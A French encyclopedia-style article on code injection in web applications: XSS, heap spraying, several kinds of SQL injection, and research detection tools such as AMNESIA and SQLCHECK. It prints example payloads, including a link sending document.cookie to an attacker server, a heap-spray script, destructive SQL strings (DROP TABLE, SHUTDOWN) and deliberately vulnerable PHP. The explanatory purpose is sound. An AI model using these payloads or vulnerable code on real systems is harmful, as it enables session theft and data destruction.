Injection de code dans les applications web
L'injection de code est une technique qui consiste à injecter des données dans une application pour en modifier le comportement. Dans le cadre d'une application web, on peut distinguer deux familles, les injections du cÎté client web et les injections du cÎté serveur de base de données. Ces injections sont souvent effectuées en injectant le code malicieux via les formulaires disponibles dans ces applications. Cet article présente certaines techniques d'injections et certains mécanismes de protection appliqués aux langages JavaScript et SQL
JavaScript
Le JavaScript est un langage de programmation de script orientĂ© client. Il peut Ă©galement ĂȘtre utilisĂ© cĂŽtĂ© serveur, avec par exemple AngularJS ou node.js. Les prĂ©occupations de l'utilisateur Ă©tant de plus en plus importantes, il est devenu l'un des langages incontournables en web 2.0.
Ce langage possĂšde diffĂ©rentes politiques de sĂ©curitĂ©. La premiĂšre permet de limiter l'exĂ©cution d'un script. Il n'a en effet pas accĂšs Ă toutes les ressources systĂšme puisqu'il est limitĂ© aux ressources du navigateur. Ce mode de fonctionnement est appelĂ© sandboxing[1]. La seconde est la same-origin policy[1]. Elle vise Ă restreindre l'accĂšs d'un script aux donnĂ©es du domaine d'exĂ©cution. Deux domaines sont considĂ©rĂ©s Ă©gaux Ă partir du moment oĂč le protocole, l'hĂŽte et le port sont identiques sur les deux domaines.
Le JavaScript Ă©tant de plus en plus utilisĂ©, il est la cible, au mĂȘme titre que le SQL, de plusieurs attaques visant Ă outrepasser ces politiques de sĂ©curitĂ©.
Types d'attaque
Deux catĂ©gories d'attaque peuvent ĂȘtre utilisĂ©es, l'attaque de Cross-site scripting (XSS) et celle du heap-spraying.
Principes et buts
Une attaque XSS est une attaque visant les sites internet ou les applications Web. Elle consiste à injecter des scripts dans la réponse d'une application, généralement du HTML, qui sera interprétée par le navigateur. Le but de ces deux attaques est de récupérer les données sensibles de l'application et de les envoyer vers un serveur sous le contrÎle de l'attaquant.
Il y a deux types d'attaque XSS, la reflected XSS (aussi communément appelée type 1 ou first-order XSS) et la persistent XSS (aussi communément appelée type 2, stored XSS ou second-order XSS)[2] - [3] - [4].
La reflected XSS consiste Ă injecter des scripts dans une application pour qu'ils soient exĂ©cutĂ©s sur le navigateur du cĂŽtĂ© client. Cette attaque n'est pas stockĂ©e dans l'application, aucune trace ne sera visible sur le serveur. Elle intervient gĂ©nĂ©ralement par la propagation d'un lien et utilise le social engineering. Lorsque l'utilisateur clique sur ce type de lien, une requĂȘte contenant du code malicieux est envoyĂ©e vers le serveur, celui-ci va alors retourner une rĂ©ponse contenant ce code Ă l'utilisateur (page, erreur). Le code injectĂ© sera alors exĂ©cutĂ© par le navigateur dans le mĂȘme contexte que les scripts de l'application, permettant ainsi Ă l'attaquant de rĂ©cupĂ©rer le cookie associĂ© Ă l'utilisateur et d'envoyer ces informations vers un serveur sous son contrĂŽle.
La persistent XSS est une attaque qui consiste à stocker du code malicieux à l'intérieur du systÚme de stockage de l'application. Pour qu'elle soit effective, l'application devra utiliser ces données dans la génération de ses réponses. L'exemple courant est un message posté sur un forum. Le message sera nécessairement stocké en base de données. Si celui-ci contient du code malicieux, il sera exécuté à chaque fois qu'un utilisateur ouvrira la page le contenant. Cette attaque a donc beaucoup plus de cibles potentielles que la précédente.
Exemples
- Reflected XSS et site de vente en ligne
Les informations de l'utilisateur sont stockées à l'intérieur d'un cookie. Un attaquant décide de contourner la politique de sécurité du JavaScript. Il peut alors le faire trÚs simplement en distribuant le lien suivant aux utilisateurs.
<a href="http://www.online-market.com/
<script> document.location='http://www.my-server.com/steal-cookie.php?'+document.cookie</script>">
Cliquez ici pour obtenir une réduction !
</a>
Le lien affiché sera : « Cliquez ici pour obtenir une réduction ! ». Si l'utilisateur n'est pas attentif à la cible du lien, il suffit qu'il soit authentifié et qu'il clique sur celui-ci pour envoyer ses données sensibles vers le serveur de l'attaquant.
- Persistent XSS et forum[4]
Un attaquant dĂ©tecte une faille sur un forum oĂč les utilisateurs peuvent Ă©crire et rĂ©agir Ă des sujets. Le code (trĂšs simplifiĂ©) du forum est le suivant :
if($_GET['mode'] == 'add') {
addMessage();
}
else displayAllCommentsForTopic();
function addMessage() {
if(!isset($_POST['msg']) || !isset($_POST['subject_id']) || !isset($_POST['author'])) {
exit;
}
$msg = $_POST['msg'];
$subject_id = $_POST['subject_id'];
$author = $_POST['author'];
$sql = "INSERT INTO comments VALUES('$msg','$author','$subject_id')";
$result = mysql_query($sql);
}
function displayAllCommentsForTopic() {
if(!isset($_GET['subject_id'])){
exit;
}
$subject_id = $_GET['subject_id'];
$sql = "SELECT comment FROM comments WHERE subject_id='$subject_id'";
$result = mysql_query($sql);
while($row = mysql_fetch_assoc($result)) {
echo $row['comment'];
}
}
L'un des vecteurs d'attaque possible pour l'attaquant lors de la soumission d'un formulaire pourrait ĂȘtre :
- mode=add
- msg=Bonjour !<script>alert("Persistent XSS");</script>
- subject_id=1
- author=Attacker
Le script <script>alert("Persistent XSS");</script> sera alors exécuté à chaque fois qu'un utilisateur accÚdera au sujet 1.
Heap-spraying
Une attaque de type heap spraying (en) utilise la mĂ©moire d'une application pour exĂ©cuter du code malicieux. Elle est compliquĂ©e Ă mettre en place et nĂ©cessite des connaissances avancĂ©es dans le moteur d'exĂ©cution du langage visĂ©. Depuis quelques annĂ©es, les systĂšmes d'exploitation possĂšdent des systĂšmes de protection efficaces. Un systĂšme possĂšde nĂ©cessairement une protection pour la pile d'exĂ©cution, des algorithmes avancĂ©s pour l'allocation mĂ©moire, des espaces mĂ©moires rĂ©servĂ©s alĂ©atoirement et une protection sur l'exĂ©cution du code en lui-mĂȘme. Cependant, les attaques de ce type sont de plus en plus nombreuses et sont particuliĂšrement efficaces dans les applications web puisque les cibles y sont d'autant plus nombreuses[5].
Principes et but
Le heap spraying requiert que l'attaquant se base sur d'autres failles de sécurité pour lancer son attaque. En effet, l'attaquant va utiliser la technique du « spray » pour augmenter les chances que le code malicieux qu'il a placé en mémoire soit exécuté. Il faut tout d'abord savoir que l'allocation des objets en mémoire se fait aléatoirement. Cette technique consiste alors à placer le plus d'objets possibles contenant du code malicieux à l'intérieur de celle-ci. Plus le nombre d'objets y sera important, plus il sera probable que l'injection réussisse. Pour augmenter les chances que les objets placés en mémoire soient exécutés, il faut qu'ils respectent une certaine structure. Pour cela, un objet doit contenir un espace suffisamment grand d'instructions NOP, puis un espace contenant le code malicieux de l'attaque. Sa cible la plus courante est les langages interprétés puisqu'ils ne nécessitent aucune compilation[6].
Ce type d'attaque n'est pas limité au Web. De nombreuses variantes ont été proposées pour le bytecode compilé ou les piles de thread[5].
Exemple
Voici un exemple de code javascript[6] utilisé pour attaque de type heap-spraying.
<script>
shellcode = unescape("%u4343%u4343%...");
oneblock = unescape("%u0D0D%u0D0D");
var fullblock = oneblock;
while (fullblock.length<0x40000) {
fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<1000; i++) {
sprayContainer[i] = fullblock + shellcode;
}
</script>
La ligne 2 va permettre d'allouer une chaßne contenant le code malicieux à exécuter. Les lignes 3 à 8 vont permettre de constituer la partie NOP de l'objet, les lignes 10 à 13 de créer 1000 objets pour le heap-spraying. Chaque objet contiendra une partie NOP et le code à exécuter. Ce code javascript est contenu dans une page HTML qui sera divulguée par l'intermédiaire de son lien. à chaque fois que la page sera affichée, le javascript sera exécuté et les 1000 objets seront placés en mémoire. L'attaquant devra alors attendre que son code soit exécuté.
Mécanismes de détection
Plusieurs mĂ©canismes de dĂ©tection peuvent ĂȘtre mis en place pour contrer ces attaques. Deux politiques peuvent-ĂȘtre envisagĂ©es :
- Mise en place des sécurités nécessaires du cÎté serveur.
- Mise en place d'outils du cÎté client pour les détecter.
Principes
Noxes[7] est un mĂ©canisme de protection placĂ© du cĂŽtĂ© client. Il a Ă©tĂ© dĂ©veloppĂ© par Microsoft et fonctionne en tant que service Windows. Son principe de fonctionnement reprend celui du pare-feu prĂ©sent sous Windows. Sur un pare-feu classique, une notification apparaĂźt demandant Ă l'utilisateur s'il souhaite ou non accepter la connexion distante lorsque aucune rĂšgle n'a Ă©tĂ© dĂ©finie pour celle-ci. Ici, Noxes va appliquer le mĂȘme procĂ©dĂ©, non pas sur la connexion distante, mais sur les requĂȘtes Ă l'intĂ©rieur mĂȘme de celle-ci. En rĂ©sumĂ©, il permet Ă l'utilisateur d'autoriser ou de refuser des requĂȘtes HTTP sur les diffĂ©rentes connexions distantes actives.
Noxes affiche une alerte Ă chaque fois que des donnĂ©es sensibles sont envoyĂ©es vers un autre domaine. L'utilisateur a alors le choix, par le biais d'une pop-up, d'accepter ou non cette requĂȘte. Plusieurs optimisations ont Ă©tĂ© mises en place pour Ă©viter un nombre d'alertes trop important. Par exemple, les liens locaux affichĂ©es sur une page ne sont pas traitĂ©s ou la limitation du nombre de liens externes fixĂ©e Ă quatre[8].
Efficacité
Noxes a Ă©tĂ© Ă©valuĂ© sur des bugs rĂ©fĂ©rencĂ©s pouvant entraĂźner des attaques XSS (notamment Php-Nuke). Selon l'Ă©tude, il leur a permis de dĂ©tecter et d'empĂȘcher la plupart de ces attaques[9].
Limites
Noxes possÚde également quelques limites. PremiÚrement, il ne protÚge pas des attaques de type D.O.S (Denial Of Service attack). En effet, aucune information sensible n'est transmise durant celles-ci. L'attaquant pourrait par exemple forcer la fermeture du navigateur d'un utilisateur. Il est également possible pour un attaquant de lancer une attaque XSS et d'injecter du code HTML à la place du Javascript. Noxes se basant sur les cookies et la session, aucune alerte ne sera levée[8].
Principes
Les marquages dynamiques et statiques[10] sont des mĂ©canismes de dĂ©tection placĂ©s du cĂŽtĂ© client. Ils vont empĂȘcher un site internet tiers ou une application web tierce de rĂ©cupĂ©rer les donnĂ©es sensibles de l'utilisateur. Celles-ci sont automatiquement rĂ©fĂ©rencĂ©es au lancement de la page ou de l'application[11]. Pour cela, un mĂ©canisme de marquage dynamique des donnĂ©es est utilisĂ©. Celui-ci va permettre de marquer une donnĂ©e comme sensible. Il prend Ă©galement en compte les dĂ©pendances, ce qui va permettre de suivre la donnĂ©e tout au long de son cycle de vie, quel que soit le traitement effectuĂ©[12]. Un marquage statique y est Ă©galement associĂ© pour pallier quelques cas de dĂ©pendances indirectes qu'il n'est pas possible de dĂ©tecter avec le marquage prĂ©cĂ©dent[13].
Implémentation
Un prototype a Ă©tĂ© mis en place permettant d'utiliser ces deux types de marquage. Ce prototype Ă©tend la version 1.0pre de Mozilla Firefox. Un nouveau moteur d'exĂ©cution du Javascript, Spider-Monkey, a Ă©tĂ© crĂ©Ă© pour marquer les donnĂ©es Ă l'intĂ©rieur de celui-ci. Une modification du DOM html a Ă©galement Ă©tĂ© effectuĂ©e pour suivre les donnĂ©es marquĂ©es Ă l'intĂ©rieur mĂȘme du HTML. Lorsqu'une donnĂ©e sensible est demandĂ©e par une ressource externe, l'utilisateur a alors le choix d'autoriser ou non le transfert, temporairement ou en permanence[14].
Efficacité et limites
Cette implémentation a été testée sur plusieurs bugs répertoriés dans des applications web open-source, comme phpBB[14]. Elle s'est montrée efficace puisqu'elle les a toutes détectés. Un moteur d'indexation de pages a également été utilisé pour la tester dans des conditions réelles. Plus d'un million de pages ont été analysées, 88 589 d'entre elles ont généré une alerte. AprÚs analyse des données, il s'est avéré que la plupart étaient générées par des sites récoltant des informations pour la génération de statistiques. Les tests à échelle globale n'ont donc pas pu démontrer son efficacité dans des conditions réelles[15].
Principes
NOZZLE est capable d'intercepter les appels mémoire à l'intérieur du moteur d'exécution du navigateur Firefox. Il va analyser le contenu de tous les objets présents en mémoire. Il se base sur le fait que les objets utilisés par l'attaquant doivent avoir une structure bien précise, comme décrite dans la partie précédente. Pour cela, des analyses avancées ont été mises en place pour les détecter[16].
Efficacité et limites
L'analyse de l'efficacitĂ© de cette implĂ©mentation s'est limitĂ©e Ă son couplage avec Firefox. Il a Ă©tĂ© testĂ© sur les diffĂ©rentes attaques connues, des cas crĂ©Ă©s et des sites utilisĂ©s quotidiennement. L'analyse des rĂ©sultats montre qu'un petit nombre de faux positifs et de faux nĂ©gatifs ont Ă©tĂ© dĂ©tectĂ©s. Ăgalement, les analyses [17] montrent que Nozzle n'augmente pas de maniĂšre significative l'utilisation du CPU et ne devrait donc pas perturber l'utilisateur.
Comparaison des mécanismes de protection
Outil / Méthode de détection | XSS First Order | XSS Second Order | Heap Spraying |
---|---|---|---|
Noxes | |||
Marquage dynamique et statique | |||
Nozzle | |||
SQL
Le langage SQL est le langage de manipulation de données le plus utilisé pour les applications web[18]. Par conséquent, les attaques les plus courantes visant les applications web sont effectuées via des injections SQL[19]. Ces attaques ont généralement pour but :
- De rĂ©cupĂ©rer des informations sur le type de base de donnĂ©es et les requĂȘtes qui y sont exĂ©cutĂ©es.
- De récupérer les données sensibles de l'application.
- D'outrepasser les systĂšmes d'authentification ou de modifier les autorisations d'accĂšs.
- De supprimer ou de modifier les données de l'application.
- De rendre inaccessible l'application en agissant sur la base de données.
Types d'attaque
La plupart des attaques prĂ©sentĂ©es dans cet article sont le plus souvent utilisĂ©es parallĂšlement lors des tentatives d'injections SQL. Certains langages de programmation proposent des mĂ©canismes d'Ă©chappement pour empĂȘcher les injections SQL, ces derniers sont suffisants pour se protĂ©ger des injections basiques mais se rĂ©vĂšlent inefficaces lorsqu'ils sont confrontĂ©s Ă des injections plus complexes[20].
Principes et buts
En rendant volontairement une requĂȘte incorrecte, une personne mal-intentionnĂ©e peut rĂ©cupĂ©rer des informations sur la base de donnĂ©es utilisĂ©e par le serveur, ainsi que la structure et le type des paramĂštres attendus par les champs de la requĂȘte. Cette attaque n'est possible que lorsqu'un message d'erreur est envoyĂ© lors de l'Ă©chec mais le simple fait que la requĂȘte ait Ă©chouĂ© peut permettre Ă l'attaquant de deviner des informations sur la requĂȘte. C'est une attaque prĂ©liminaire aux autres, elle va permettre Ă l'attaquant d'ĂȘtre plus efficace lors de ses tentatives d'injections SQL[21] - [22].
Exemple
Prenons le code php suivant :
$sql = "SELECT id FROM Users WHERE login='".$_POST["login"]."' and password='".$_POST["password"]."'";
$result = @mysql_query($sql) or die ("Erreur SQL :".$sql);
Ce code reprĂ©sente une requĂȘte d'authentification utilisant la mĂ©thode POST du protocole HTTP. En cas d'erreur lors de l'exĂ©cution de la requĂȘte, un message est affichĂ©.
En utilisant 'aaa
dans le champ login et aaa
comme mot de passe, l'exĂ©cution de la requĂȘte SQL va retourner une erreur car le guillemet droit est interprĂ©tĂ© comme une fin de chaĂźne caractĂšres.
Erreur SQL : SELECT id FROM Users WHERE login=''aaa' and password='aaa'
L'attaquant connaĂźt maintenant exactement la requĂȘte qui est exĂ©cutĂ©e sur le serveur, et peut donc passer Ă des mĂ©thodes d'injections plus complexes.
Principes et buts
L'attaque par tautologie consiste Ă rendre toujours vraie une condition suivant un WHERE
. La requĂȘte SQL ainsi construite retournera donc toujours au moins un rĂ©sultat lors de son exĂ©cution. Cette attaque est couramment utilisĂ©e pour contourner une authentification ou pour rĂ©cupĂ©rer les donnĂ©es d'une table. L'attaquant doit modifier la structure syntaxique de la condition et introduire une tautologie qui permettra de modifier le comportement de la requĂȘte[21] - [23] - [24].
Exemple
ConsidĂ©rons une requĂȘte d'authentification nĂ©cessitant un mot de passe et un pseudonyme, si un rĂ©sultat est retournĂ© alors on estime que l'utilisateur est authentifiĂ©.
SELECT id FROM Users WHERE login='(Pseudonyme)' and password='(Mot de passe)'
Si aucune vérification n'est effectuée alors l'attaquant peut contourner le systÚme d'authentification en insérant ' OR 1=1 --
dans login.
SELECT id FROM Users WHERE login='' OR 1=1 --' and password=''
Ici la tautologie 1=1 est insĂ©rĂ©e de maniĂšre Ă rendre inutile toutes les autres conditions de la requĂȘte. Pour que la tautologie ne soit pas considĂ©rĂ©e comme une simple chaĂźne et puisse donc ĂȘtre Ă©valuĂ©e par le moteur SQL il suffit d'utiliser le symbole '
délimitant une chaßne de caractÚre. Le symbole --
de commentaire SQL permet de s'assurer que le reste de la requĂȘte sera ignorĂ© lors de l'Ă©valuation.
Principes et buts
En utilisant l'opérateur SQL UNION
, l'attaquant peut modifier totalement le comportement d'une requĂȘte. La commande UNION
de SQL permet de combiner les rĂ©sultats de deux requĂȘtes, elle peut donc ĂȘtre utilisĂ©e pour rĂ©cupĂ©rer les donnĂ©es d'une table autre que celle initialement utilisĂ©e dans la requĂȘte. L'utilisation de l'opĂ©rateur UNION
nĂ©cessite de modifier la structure syntaxique de la requĂȘte en utilisant par exemple '
ou --
[25].
Exemple
Reprenons la requĂȘte d'authentification prĂ©cĂ©dente.
SELECT id FROM Users WHERE login='(Pseudonyme)' and password='(Mot de passe)'
Un attaquant ayant rĂ©cupĂ©rĂ© assez d'informations sur la base de donnĂ©es (en utilisant par exemple des requĂȘtes incorrectes) peut utiliser UNION
pour récupérer d'autres informations. Par exemple en injectant 'UNION SELECT account_number from Bank_account where 1=1 --
dans le champ pseudonyme on obtient la requĂȘte suivante :
SELECT id FROM Users WHERE login='' UNION SELECT account_number from Bank_account where 1=1 -- and password=''
Cette fois aussi la vĂ©rification du mot de passe est ignorĂ©e puisque placĂ©e aprĂšs le symbole de commentaire. La requĂȘte originale devrait ne pas retourner de rĂ©sultats car le champ login est une chaĂźne vide, mais l'utilisation de l'opĂ©rateur UNION
permet ici de récupérer les informations de la table Bank_account.
Principes et buts
Certaines configurations de bases de donnĂ©es permettent l'exĂ©cution de plusieurs requĂȘtes contenues dans une seule chaĂźne de requĂȘtes, cette technique est couramment utilisĂ©e pour insĂ©rer ou mettre Ă jour de grandes quantitĂ©s de donnĂ©es. En exploitant cette fonctionnalitĂ© l'attaquant peut donc faire exĂ©cuter des requĂȘtes multiples (Piggy-Backed Queries en anglais) en injectant le caractĂšre ;
habituellement utilisĂ© pour sĂ©parer deux requĂȘtes consĂ©cutives. Ce type d'attaque se rĂ©vĂšle extrĂȘmement puissant car l'attaquant n'est plus limitĂ© Ă la structure de la requĂȘte, il est donc en mesure d'ajouter, d'extraire, de modifier ou de supprimer des donnĂ©es Ă sa guise. Cette attaque permet aussi l'exĂ©cution de commandes propres au moteur de bases de donnĂ©es comme par exemple celle concernant la gestion des utilisateurs SQL[25].
Exemple
Si la base de donnĂ©es permet l'exĂ©cution de requĂȘtes multiples, il suffit alors d'injecter le caractĂšre ;
de maniÚre qu'il soit interprété.
SELECT id FROM Users WHERE login='(Pseudonyme)' and password='(Mot de passe)'
En utilisant '; DROP TABLE Users --
comme pseudonyme, la table Users sera effacée de la base de données.
SELECT id FROM Users WHERE login=''; DROP TABLE Users -- and password=''
MĂȘme si la requĂȘte SELECT
ne retourne aucun rĂ©sultat, la requĂȘte contenant le DROP
sera exécutée. Comme précédemment, la vérification du mot de passe est commentée.
Principes et buts
Les procĂ©dures stockĂ©es sont des instructions SQL prĂ©-compilĂ©es qui permettent l'interaction avec les donnĂ©es mais aussi avec le systĂšme. De nombreux SGBD proposent par dĂ©faut un ensemble de procĂ©dures stockĂ©es et permettent aux utilisateurs d'en crĂ©er. L'utilisation de procĂ©dures stockĂ©es est parfois conseillĂ©e pour Ă©viter les injections SQL, mais sans mĂ©canisme de protection, cette pratique se rĂ©vĂšle tout aussi dangereuse puisqu'elle permet d'exĂ©cuter des instructions du SGBD difficilement accessibles autrement. L'injection SQL dans les procĂ©dures stockĂ©es permet donc de modifier les privilĂšges utilisateurs ou mĂȘme de stopper complĂštement le SGBD[25].
Exemple
Pour SQLServer la requĂȘte d'authentification prĂ©cĂ©dente pourrait ĂȘtre Ă©crite sous forme de procĂ©dure stockĂ©e de la maniĂšre suivante :
CREATE PROCEDURE DBO.isAuthenticated
@login varchar2, @password varchar2,
AS
EXEC("SELECT id FROM Users
WHERE login='" +@login+ "' and pass='" +@password+"'");
GO
En utilisant le mĂȘme principe qu'avec les requĂȘtes multiples, il est possible d'injecter '; SHUTDOWN; --
dans le champ login. A l'exĂ©cution, on obtiendra donc la requĂȘte SQL suivante :
SELECT id FROM Users WHERE login=''; SHUTDOWN; -- and password=''
L'instruction SHUTDOWN
va stopper SQL Server empĂȘchant ainsi l'application web attaquĂ©e d'exĂ©cuter d'autres requĂȘtes. Ceci aura pour effet de rendre l'application inaccessible Ă la maniĂšre d'une attaque DoS.
Principes et buts
Si aucun message d'erreur SQL n'est disponible alors l'attaquant peut utiliser le principe des attaques en aveugle pour obtenir plus d'informations sur les champs sensibles Ă une injection SQL. Ces attaques permettent de rĂ©colter des informations en observant la rĂ©ponse de l'application. Si le comportement de l'application diffĂšre entre une tentative d'injection et une requĂȘte ne retournant pas de rĂ©sultats alors l'attaquant peut savoir si l'application est vulnĂ©rable ou non. Dans le cas oĂč le comportement ne varie pas, le temps d'exĂ©cution peut aussi ĂȘtre utilisĂ© pour obtenir des informations sur la requĂȘte SQL. En injectant une commande modifiant significativement le temps d'exĂ©cution de la requĂȘte, il est possible de savoir si l'injection a Ă©tĂ© effectuĂ©e ou non[26].
Exemple
En reprenant le principe de l'attaque par tautologie, il est possible d'exĂ©cuter les deux requĂȘtes suivantes :
SELECT id FROM Users WHERE login='' OR 1=0 --' and password=''
SELECT id FROM Users WHERE login='' OR 1=1 --' and password=''
Si l'injection est possible sur le champ login alors la premiĂšre requĂȘte devrait toujours Ă©chouer alors que la deuxiĂšme devrait fonctionner. Si l'application renvoie un message d'erreur du type "Impossible de s'authentifier" pour les deux requĂȘtes alors l'injection a Ă©chouĂ© et l'attaquant peut en dĂ©duire que le champ login est protĂ©gĂ©. Dans le cadre contraire, s'il obtient un message d'erreur puis un message diffĂ©rent pour la seconde requĂȘte alors il peut en dĂ©duire que le champ est sensible Ă l'injection SQL et passer Ă des attaques plus complexes.
Principes et buts
Le changement d'encodage est utilisé pour contourner les mécanismes de protection mis en place par les développeurs d'applications. PlutÎt que d'utiliser directement les caractÚres dans une chaßne, l'attaquant utilise son équivalent dans un systÚme d'encodage différent, ainsi pour certains SGBD, il est possible d'utiliser directement la valeur hexadécimale d'un caractÚre ou de passer par la fonction CHAR
qui prend une valeur numérique en argument et retourne le caractÚre ASCII correspondant. Le changement d'encodage est utilisé en support des autres attaques[26].
Exemple
Reprenons notre attaque par tautologie.
SELECT id FROM Users WHERE login='' OR 1=1 --' and password=''
Le développeur pourrait utiliser un mécanisme détectant l'utilisation du caractÚre -
comme une attaque et neutraliser ainsi la tentative d'injection SQL. Toutefois en injectant CHAR(45,45) Ă la place, on obtient le mĂȘme rĂ©sultat Ă l'exĂ©cution.
SELECT id FROM Users WHERE login='' OR 1=1 CHAR(45,45)' and password=''
CHAR(45,45) sera interprété par le moteur de bases de données comme la chaßne --
puisque le code ASCII de -
est 45. Le mécanisme mis en place par le développeur ne détectera pas cette mise en commentaire et l'injection fonctionnera.
Mécanismes de détection
Les mécanismes de détection propres aux langages de programmation et les bonnes pratiques de développement étant faillibles, plusieurs mécanismes de détection complexes sont proposés pour détecter automatiquement les tentatives d'injections. Les solutions présentées ici proposent une implémentation fonctionnant pour un ou plusieurs langages.
Principes de fonctionnement
Pour se protĂ©ger des injections SQL, AMNESIA repose sur une analyse statique du programme ainsi que sur une surveillance effectuĂ©e lors de l'exĂ©cution du programme. Le code source de l'application est tout d'abord analysĂ© pour construire un modĂšle correspondant aux requĂȘtes SQL qui sont normalement exĂ©cutĂ©es par l'application. Ce modĂšle peut ĂȘtre reprĂ©sentĂ© par un automate fini dĂ©terministe qui reconnaĂźtra le langage des expressions SQL ne contenant pas de tentatives d'injections.
Lors de l'exĂ©cution de l'application, les requĂȘtes SQL devant ĂȘtre exĂ©cutĂ©es sont envoyĂ©es au moteur de vĂ©rification d'AMNESIA qui va dĂ©couper la requĂȘte de la mĂȘme façon que le ferait le SGBD pour en extraire une suite d'expressions contenant les mots clefs et types de variables du langage SQL. Par exemple SELECT id FROM users WHERE login='aaa'
sera découpé en SELECT,id,FROM,users,where,login,=,',aaa,'
. Ce dĂ©coupage est ensuite soumis Ă l'automate formĂ© par le modĂšle prĂ©cĂ©demment crĂ©Ă©, s'il est acceptĂ© alors il n'y a pas injection et l'application continue son exĂ©cution normalement, s'il est refusĂ© alors on considĂšre qu'il y a injection SQL et la requĂȘte n'est pas exĂ©cutĂ©e[27].
Efficacité
L'outil a Ă©tĂ© testĂ© avec succĂšs sur 7 applications avec 1470 attaques dĂ©tectĂ©es et 3500 requĂȘtes normales exĂ©cutĂ©es sans gĂ©nĂ©rer un seul faux-positif[28]. Le temps d'exĂ©cution supplĂ©mentaire gĂ©nĂ©rĂ© par l'analyse semble nĂ©gligeable par rapport Ă la latence du rĂ©seau et au temps d'accĂšs aux donnĂ©es de la base[28]. L'implĂ©mentation d'AMNESIA s'est rĂ©vĂ©lĂ©e capable de dĂ©tecter tous les types d'attaques SQL prĂ©sentĂ©s dans cet article sauf lorsque les procĂ©dures stockĂ©es sont utilisĂ©es[20].
Limitations
AMNESIA n'est pas capable de dĂ©tecter les injections lorsqu'elles sont effectuĂ©es Ă l'aide de procĂ©dures stockĂ©es[20]. L'analyse de l'application nĂ©cessite que les requĂȘtes SQL soient facilement identifiables dans le code source[23]. Dans un environnement nĂ©cessitant une optimisation des performances, le surcoĂ»t de l'analyse pourrait poser problĂšme[28]. Pour l'instant, l'implĂ©mentation d'AMNESIA n'est disponible que pour le langage JAVA.
Principes de fonctionnement
SQLRand est l'application au langage SQL du mécanisme instruction set-randomization[29] qui consiste à encoder les instructions d'un processeur en utilisant un entier seulement connu par le systÚme, ainsi lors d'une tentative d'injection de code du type dépassement de tampon le systÚme ne reconnaitra pas le code injecté et ne l'exécutera donc pas. Appliqué au langage SQL cela consiste simplement à rajouter une clef entiÚre sur chaque mot-clef du langage SQL. Par exemple avec la clef "123", l'instruction SELECT
devient SELECT123
.
L'application cliente connait la clef et chaque requĂȘte est envoyĂ©e sur un serveur mandataire qui sert de relais entre l'application web et le SGBD. Le proxy se charge de transformer la requĂȘte en supprimant l'entier des mots-clefs du langage avant de l'envoyer vers le SGBD pour exĂ©cution. Dans le cas oĂč une instruction ne contient pas la clef, le proxy retourne la valeur NULL
vers l'application cliente pour lui signaler que la requĂȘte est incorrecte. Un attaquant ne connaissant pas la clef ne peut donc pas injecter de code en utilisant la syntaxe SQL usuelle[30].
Efficacité
Une implĂ©mentation du serveur mandataire en langage C a Ă©tĂ© testĂ© conjointement avec un forum PHP vulnĂ©rable aux injections SQL. AprĂšs implĂ©mentation de la mĂ©thode, les tentatives d'injections ont toutes Ă©chouĂ©es[31]. Dans le pire des cas, l'utilisation du serveur mandataire a rajoutĂ© 6,5ms au temps d'exĂ©cution totale de la requĂȘte, ce qui semble nĂ©gligeable pour la plupart des applications web ayant des temps de rĂ©ponses de l'ordre de la seconde[32].
Limitations
Le temps d'exĂ©cution supplĂ©mentaire pourrait poser problĂšme Ă des applications dont les temps de rĂ©ponses doivent ĂȘtre trĂšs courts. Il est nĂ©cessaire de modifier l'application cliente pour qu'elle utilise la clef lors de la construction de ses requĂȘtes. De plus SQLrand se montre inefficace pour contrer les injections utilisant les procĂ©dures stockĂ©es, les changements d'encodages et il ne fournit pas de solutions pour traiter diffĂ©remment les tentatives d'injections de code et les requĂȘtes incorrectes[20].
Principes de fonctionnement
SQLCHECK considĂšre qu'une injection de code a lieu lorsqu'une entrĂ©e saisie par un utilisateur de l'application modifie la structure syntaxique de la requĂȘte SQL utilisant cette entrĂ©e. Toutes les entrĂ©es utilisateurs, comme celle provenant d'un formulaire, sont entourĂ©es de symboles (par exemple { et }) avant d'ĂȘtre ajoutĂ©es Ă une requĂȘte. Ce marquage permet ainsi de tracer les entrĂ©es considĂ©rĂ©es comme non fiables tout au long de l'exĂ©cution de l'application. DĂšs lors qu'une requĂȘte contenant des entrĂ©es marquĂ©es doit ĂȘtre exĂ©cutĂ©e, une analyse syntaxique est effectuĂ©e sur cette requĂȘte et sur la requĂȘte originale ne comprenant pas les entrĂ©es utilisateurs. Si la structure de ces deux requĂȘtes diffĂšre, par exemple si l'instruction SQL OR
est contenue dans une des entrées utilisateurs, alors SQLCHECK considÚre qu'il y a eu tentative d'injection et une erreur est levée[33].
Efficacité
SQLCHECK a été testé sur une application en PHP et une autre utilisant des JSP. Lors des tests, toutes les tentatives d'injections ont été détectées et il n'y a pas eu de faux-positifs. En moyenne, les contrÎles effectués par SQLCHECK ont augmenté le temps d'exécution de 100ms, ce qui n'impacte pas l'expérience de l'utilisateur[34].
Limitations
Comme pour les autres mĂ©thodes, le temps d'exĂ©cution pourrait ĂȘtre problĂ©matique pour des applications nĂ©cessitant des hautes performances. L'implĂ©mentation de l'algorithme, en plus de la modification du code source de l'application, nĂ©cessite d'utiliser le systĂšme de marquage sur toutes les entrĂ©es utilisateurs, ce qui peut ĂȘtre complexe lorsque ces sources sont multiples. SQLCHECK n'est pas capable de dĂ©tecter les injections SQL lorsque les procĂ©dures stockĂ©es sont utilisĂ©es car il n'y a pas forcĂ©ment modification de la structure syntaxique du code avec cette technique d'attaque[20].
Efficacité en fonction des types d'attaques
Types d'attaques | AMNESIA | SQLRand | SQLCHECK |
---|---|---|---|
RequĂȘtes incorrectes | |||
Tautologie | |||
RequĂȘtes d'union | |||
RequĂȘtes multiples | |||
Procédure stockées | |||
Attaque en aveugle | |||
Changement d'encodage | |||
Notes et références
- Kirda et al., page 330
- Vogt et al., page 2
- Kirda et al., page 331
- Kiezun et al., page 201-202
- Ratanaworabhan et al., page 169
- Ratanaworabhan et al., page 171
- Kirda et al., page 332
- Kirda et al., page 333
- Kirda et al., page 335
- Vogt et al., page 1
- Vogt et al., page 4
- Vogt et al., page 5
- Vogt et al., page 7
- Vogt et al., page 9
- Vogt et al., page 10
- Ratanaworabhan et al., page 173
- Ratanaworabhan et al., page 180
- www.dsfc.net
- Ray et al., page 179
- Halfond et al., page 8
- Halfond et al., page 3
- Boyd et al., page 3
- Halfond et al., page 3
- Su et al., page 372
- Halfond et al., page 4
- Halfond et al., page 5
- Halfond et al.
- Halfond et al., page 9
- Kc et al.
- Boyd et al.
